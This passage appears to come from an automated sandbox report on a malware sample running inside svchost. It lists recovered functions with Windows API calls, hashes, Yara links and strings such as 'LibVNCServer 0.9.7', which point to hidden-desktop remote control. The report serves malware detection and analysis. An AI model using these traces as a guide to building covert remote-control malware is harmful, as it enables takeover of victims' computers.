                                                                                                                                                                                                            • Instruction ID: 5c1af01cc76bb69b7798fb57e124c1aca5b686c4b9bc692899b95b0d0a8886b8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1bebc3f6613ab648073eef041146847bcdb8402efba0e2f49b1989ccceda45fc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B70117B9E41B11AFC324CF68E584A06BBF4FF58700B108A1AE98997B50C770F950CF94
                                                                                                                                                                                                            Function 02D0E0E0 Relevance: 7.5, APIs: 5, Instructions: 37threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?,?,00000000,75923080,?,02D08F3C,?,00000006,00000000), ref: 02D0E0EC
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02D0E103
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0E106
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,00000006,?,02D08F3C), ref: 02D0E11D
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000003), ref: 02D0E122
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$DesktopMessageSendThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3855296974-0
                                                                                                                                                                                                            • Opcode ID: 7cad666cb8e22e09e4b4820e09919031e93ebc53b1172ec2f6504f3815fbc9d4
                                                                                                                                                                                                            • Instruction ID: 8f528b863c00f9a551baf88c33398d8e8867368fd7a106b2a6234af2d85bb1a7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7cad666cb8e22e09e4b4820e09919031e93ebc53b1172ec2f6504f3815fbc9d4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 42F0897AA403147FD721AF55EC88E9BB39CDBD8764F014905F90097340D6B0ED508AB0
                                                                                                                                                                                                            Function 02D0D0E0 Relevance: 7.5, APIs: 5, Instructions: 34threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02D0D0EC
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D0D0F4
                                                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 02D0D100
                                                                                                                                                                                                            • SendMessageA.USER32(?,0000000D,?,?), ref: 02D0D111
                                                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 02D0D11D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Thread$AttachInput$CurrentMessageProcessSendWindow
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2643679612-0
                                                                                                                                                                                                            • Opcode ID: 7ab1dafeed046c2581a53a039b89beded1af0823ab146aec5d3ba33ddc878222
                                                                                                                                                                                                            • Instruction ID: b2a496f5b9b2da6e1fd8a69579672249495607edda6aa3718fb542da70d9deb8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7ab1dafeed046c2581a53a039b89beded1af0823ab146aec5d3ba33ddc878222
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1CF037366403047BE7105FA5FC8DF9BBBACEB99761F404415FA09DB341C5B19C108A70
                                                                                                                                                                                                            Function 02D0E0A0 Relevance: 7.5, APIs: 5, Instructions: 30threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02D0E0AA
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D0E0B2
                                                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,02D09CD4,?,?,?,?,02D091A0,?,?), ref: 02D0E0C4
                                                                                                                                                                                                            • GetFocus.USER32 ref: 02D0E0C6
                                                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,02D09CD4,?,?,?,?,02D091A0,?,?), ref: 02D0E0D3
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Thread$AttachInput$CurrentFocusProcessWindow
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 968181190-0
                                                                                                                                                                                                            • Opcode ID: 131223735ed0c631ff8002bf4a6c1a2445df188889a0cd20e84e890fdd7aa5bd
                                                                                                                                                                                                            • Instruction ID: f2d0017aadd0ec9e9d356ce563ad0704cbad1bceb8484d21e2bceace556da516
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 131223735ed0c631ff8002bf4a6c1a2445df188889a0cd20e84e890fdd7aa5bd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 86E09235A40204BBD6105BA6BC4DF9FBBECDB86762F900455FA08D7341D6719C1086A0
                                                                                                                                                                                                            Function 02D0C220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D0DA30: GetClassNameA.USER32(?,?,00000101), ref: 02D0DA46
                                                                                                                                                                                                            • GetWindowInfo.USER32(?,?), ref: 02D0C254
                                                                                                                                                                                                            • SetWindowLongA.USER32(?,000000EC,?), ref: 02D0C276
                                                                                                                                                                                                            • SetLayeredWindowAttributes.USER32(?,0000FFFF,000000FF,00000002), ref: 02D0C289
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$AttributesClassInfoLayeredLongName
                                                                                                                                                                                                            • String ID: <
                                                                                                                                                                                                            • API String ID: 195909263-4251816714
                                                                                                                                                                                                            • Opcode ID: ee1ce7ada1504de19eaa462a3109e998f0668dc212d9fc3d727a2cf5fea678c1
                                                                                                                                                                                                            • Instruction ID: 4682b25a8765ad5bd6908d70dd57119a9920fff1d664d423ec28c26163e088cd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ee1ce7ada1504de19eaa462a3109e998f0668dc212d9fc3d727a2cf5fea678c1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F2F0F430AA41156BD764AEF4E885B7E37ACEB05B40F504629F805E5BE0EB508C24CA65
                                                                                                                                                                                                            Function 02D1E600 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 9COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D1E1B0: memset.MSVCRT ref: 02D1E1CF
                                                                                                                                                                                                              • Part of subcall function 02D1E1B0: memset.MSVCRT ref: 02D1E1F1
                                                                                                                                                                                                              • Part of subcall function 02D1E1B0: GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02D1E206
                                                                                                                                                                                                              • Part of subcall function 02D1E1B0: SetErrorMode.KERNEL32(00000001), ref: 02D1E21F
                                                                                                                                                                                                              • Part of subcall function 02D1E1B0: GetDriveTypeA.KERNEL32(?), ref: 02D1E268
                                                                                                                                                                                                              • Part of subcall function 02D1E1B0: SetCurrentDirectoryA.KERNEL32(?), ref: 02D1E27B
                                                                                                                                                                                                              • Part of subcall function 02D1E1B0: FindFirstFileA.KERNEL32(?,?), ref: 02D1E2DD
                                                                                                                                                                                                              • Part of subcall function 02D1E1B0: SetErrorMode.KERNEL32(?), ref: 02D1E5F3
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5905E0), ref: 02D1E60B
                                                                                                                                                                                                              • Part of subcall function 02D13590: EnterCriticalSection.KERNEL32(02D4FB68,?,5C590552,74E1A250), ref: 02D135A9
                                                                                                                                                                                                              • Part of subcall function 02D13590: GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 02D135BB
                                                                                                                                                                                                              • Part of subcall function 02D13590: _snprintf.MSVCRT ref: 02D135DB
                                                                                                                                                                                                              • Part of subcall function 02D13590: SetCurrentDirectoryA.KERNEL32(?), ref: 02D135EB
                                                                                                                                                                                                              • Part of subcall function 02D13590: PathAddBackslashA.SHLWAPI(?), ref: 02D136C0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CurrentDirectory$BackslashDriveErrorModePathmemset$CriticalEnterFileFindFirstLogicalSectionStringsType_snprintf
                                                                                                                                                                                                            • String ID: 5C5905E0$COLV$\t
                                                                                                                                                                                                            • API String ID: 2461973751-3781273733
                                                                                                                                                                                                            • Opcode ID: 603961eb2e4944634c4d40d47f98737c27d6f7bfca3ab39ac1e70a726b845e0e
                                                                                                                                                                                                            • Instruction ID: 2f04d16c520405e39fd7eecd7e6472b382b6455d6f87a7de86067c2b6b9f0d8d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 603961eb2e4944634c4d40d47f98737c27d6f7bfca3ab39ac1e70a726b845e0e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6FB09271AE031077B9083BB4780EC1927318884E02720494A7C1314B444DD26C989B36
                                                                                                                                                                                                            Function 02D02ED8 Relevance: 6.5, APIs: 5, Instructions: 228COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • free.MSVCRT(00000000,00000000,?,?,00000000,00000000), ref: 02D030EF
                                                                                                                                                                                                            • free.MSVCRT(00000000), ref: 02D03113
                                                                                                                                                                                                            • free.MSVCRT(?), ref: 02D03134
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1294909896-0
                                                                                                                                                                                                            • Opcode ID: fe35da5f700e3c7978334e728a56664bfb8f0d2b713db6921a8dc07ce7ef2ce8
                                                                                                                                                                                                            • Instruction ID: bd26ef75e2b989f604ad71577fb01991d07a7191d8ac721447abee9b93150f65
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fe35da5f700e3c7978334e728a56664bfb8f0d2b713db6921a8dc07ce7ef2ce8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AA8148B1A0120A9BDF20CF49C588BAEB7A1BF88354F2445A8ED05A73A0D771DD51CB91
                                                                                                                                                                                                            Function 02D34A60 Relevance: 6.2, APIs: 4, Instructions: 248COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: mallocrealloc
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 948496778-0
                                                                                                                                                                                                            • Opcode ID: 54b983d85313a34d282b692f7f3d2d49a9e935692293a732afc43f9d728e7eb5
                                                                                                                                                                                                            • Instruction ID: 66bcc6c81fcce02c7667a99a3aa9ee4fa7c21cef9448ce7ba7301103ee99bd6d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 54b983d85313a34d282b692f7f3d2d49a9e935692293a732afc43f9d728e7eb5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6091D276E0025A8FDB05CF24D880AEA3BA6FF94311F0445B9ED099B345D778AD12CBB0
                                                                                                                                                                                                            Function 02D2B150 Relevance: 6.2, APIs: 4, Instructions: 248COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: mallocrealloc
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 948496778-0
                                                                                                                                                                                                            • Opcode ID: cbe8724e741dea81c3f357b467e16f414f98cb8870023a3523d5c5a5d6099a00
                                                                                                                                                                                                            • Instruction ID: d205dc200a56f0c38a250cdf8298c30acd666c83a95f23426561329644b6abc2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: cbe8724e741dea81c3f357b467e16f414f98cb8870023a3523d5c5a5d6099a00
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CB91EB75E002698FDB04DF14D880BAA37A6FF64309F0485BAED0D9B355D6B4AD16CBB0
                                                                                                                                                                                                            Function 02D301D0 Relevance: 6.1, APIs: 4, Instructions: 146COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: closesocket
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2781271927-0
                                                                                                                                                                                                            • Opcode ID: b78f14235e96ffe9348fcde2b38afe4fce3cd029a736c93060b395cba33ca5e3
                                                                                                                                                                                                            • Instruction ID: 23ffef1a8248f7efd636ff7feb9666a2221072734a702e4243b162742972bd00
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b78f14235e96ffe9348fcde2b38afe4fce3cd029a736c93060b395cba33ca5e3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6951E074100B019BD726CB28C8947E6B3E6FB95329F74CA59C4AB87394EB31E946CB50
                                                                                                                                                                                                            Function 02D2D330 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 126COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: wsprintf
                                                                                                                                                                                                            • String ID: %s (%s)$LibVNCServer 0.9.7$unknown
                                                                                                                                                                                                            • API String ID: 2111968516-696653274
                                                                                                                                                                                                            • Opcode ID: 79806d29a9da903e97545075ebecbed22e28306307d79f51ee026a23d2da4413
                                                                                                                                                                                                            • Instruction ID: 2e02ef642d5bc3b2dc3dc3a5c5c76afd55e6d82b2a6e61a2ee9b881aff341e83
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 79806d29a9da903e97545075ebecbed22e28306307d79f51ee026a23d2da4413
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4D41D631A0025A8FDB05CF28C9A4BE677A6EF55309F1481F5DD4D9F306D674AA0ECBA0
                                                                                                                                                                                                            Function 02D07AB9 Relevance: 6.1, APIs: 4, Instructions: 78memoryregistryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,7591F380), ref: 02D07B2D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,7591F380), ref: 02D07B34
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D07B43
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,7591F380), ref: 02D07B73
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocCloseProcessmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2501364573-0
                                                                                                                                                                                                            • Opcode ID: 26d615f3cdf23af627fd1e2c0d8a963a124de75c4d122e149993d81568bfa96a
                                                                                                                                                                                                            • Instruction ID: ed3a2ca186ae5c4d9196b59ad50c9958860d69f0bfc93ce84a1daafc03ef37da
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 26d615f3cdf23af627fd1e2c0d8a963a124de75c4d122e149993d81568bfa96a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 86213E32A040585FE7259A749CD8BEAF7DAEB59300F5409B8D686DB3A0D330AD84C7A0
                                                                                                                                                                                                            Function 02D12060 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D12082
                                                                                                                                                                                                            • GetParent.USER32(?), ref: 02D1208E
                                                                                                                                                                                                            • GetWindowTextW.USER32(00000000,?,00000104), ref: 02D120A5
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,00000000,?,?,?,?,00000000), ref: 02D120C6
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ParentTextWindowmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4175915554-0
                                                                                                                                                                                                            • Opcode ID: 56e356ab64469f9ae7e9f3f18f1f2f7c99e07e36ef847f425bf9e859b04da032
                                                                                                                                                                                                            • Instruction ID: b55b5b5bed31bb999045fd6b8fbb57004014922f29f238bc7fab789b97c4362a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 56e356ab64469f9ae7e9f3f18f1f2f7c99e07e36ef847f425bf9e859b04da032
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A901C076B4022427D7209E69ACCCA9BF3ACAB54650F50427ABD18E3300EA719D94C6A0
                                                                                                                                                                                                            Function 02D189E0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 50COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,?,?,00000000,?,?,02D18FB5,?), ref: 02D189F3
                                                                                                                                                                                                              • Part of subcall function 02D13D20: GetProcessHeap.KERNEL32(00000008,?,00000000,?,02D25213), ref: 02D13D31
                                                                                                                                                                                                              • Part of subcall function 02D13D20: HeapAlloc.KERNEL32(00000000), ref: 02D13D38
                                                                                                                                                                                                              • Part of subcall function 02D13D20: memset.MSVCRT ref: 02D13D48
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D18A0E
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06DA1
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06DB4
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06DC7
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06DDA
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06DED
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06E00
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06E13
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06E26
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06E39
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06E4C
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06E5F
                                                                                                                                                                                                              • Part of subcall function 02D06D40: isdigit.MSVCRT ref: 02D06E72
                                                                                                                                                                                                              • Part of subcall function 02D1DCA0: memset.MSVCRT ref: 02D1DCC1
                                                                                                                                                                                                              • Part of subcall function 02D1DCA0: StrStrIA.SHLWAPI(00000000,<L>,?,00000000,?), ref: 02D1DCF9
                                                                                                                                                                                                              • Part of subcall function 02D1DCA0: PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1DD2D
                                                                                                                                                                                                              • Part of subcall function 02D1DCA0: PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1DD63
                                                                                                                                                                                                              • Part of subcall function 02D1DCA0: PathFileExistsA.SHLWAPI(00000000), ref: 02D1DDA9
                                                                                                                                                                                                              • Part of subcall function 02D240E0: strstr.MSVCRT ref: 02D24123
                                                                                                                                                                                                              • Part of subcall function 02D240E0: strstr.MSVCRT ref: 02D24136
                                                                                                                                                                                                              • Part of subcall function 02D240E0: strstr.MSVCRT ref: 02D24149
                                                                                                                                                                                                              • Part of subcall function 02D240E0: PathAddBackslashA.SHLWAPI(02D5D2A0), ref: 02D24177
                                                                                                                                                                                                              • Part of subcall function 02D240E0: PathAddBackslashA.SHLWAPI(02D5D2A0), ref: 02D241AD
                                                                                                                                                                                                              • Part of subcall function 02D240E0: CreateDirectoryA.KERNEL32(?,00000000,?), ref: 02D2420D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: isdigit$Path$Backslash$strstr$Heapmemset$AllocCreateDirectoryExistsFileProcessReadmemcpy
                                                                                                                                                                                                            • String ID: GET $POST
                                                                                                                                                                                                            • API String ID: 1864109261-2494278042
                                                                                                                                                                                                            • Opcode ID: 05d3b8718a856b85bd44ed2323191ac212921b89f383e5f370d6d179d1455a3f
                                                                                                                                                                                                            • Instruction ID: 7b38018442d01bedcfa4e79dc3e89805746339714a5b8940ca0e743af6a986cc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 05d3b8718a856b85bd44ed2323191ac212921b89f383e5f370d6d179d1455a3f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 21F0F4315095203BA731EA51BCC4F9F7A9ECD92644B084419F905D2B41DB20EC81EAB5
                                                                                                                                                                                                            Function 02D0CB10 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D0C8C0: IsWindowVisible.USER32(02D0D04D), ref: 02D0C8DF
                                                                                                                                                                                                              • Part of subcall function 02D0C8C0: GetWindowInfo.USER32(02D0D04D,?), ref: 02D0C8F9
                                                                                                                                                                                                              • Part of subcall function 02D0C8C0: GetClassLongA.USER32(02D0D04D,000000E6), ref: 02D0C94E
                                                                                                                                                                                                              • Part of subcall function 02D0C8C0: PrintWindow.USER32(02D0D04D,?,00000000), ref: 02D0C967
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0CB41
                                                                                                                                                                                                              • Part of subcall function 02D0CA20: GetWindowRect.USER32(02D0CB54,00000000), ref: 02D0CA2F
